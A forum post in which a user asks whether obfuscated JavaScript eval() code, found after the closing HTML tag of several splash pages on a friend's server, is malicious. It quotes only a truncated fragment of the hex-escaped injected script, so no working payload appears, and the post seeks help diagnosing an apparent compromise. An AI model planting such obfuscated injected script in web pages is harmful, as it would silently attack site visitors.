JS eval("..") code a possible threat?

I’ve found the following eval”(..”) code hard coded in several ‘splash’ pages on a friends server and we’re wondering what it’s doing there and also if it’s the cause of some strange goings on!!!

It’s been hard coded after the closing </HTML> tag – if it makes any difference! 🙂

Any comments would be appreciated.

[code]
<!– [ d33f4d9862bf229423b0b2fdcc850d40 ] –><script>eval(‘x66x75x6e
… continues forever! …
x27x29x3b’);</script><!– end –>
[/code]

Thanks.

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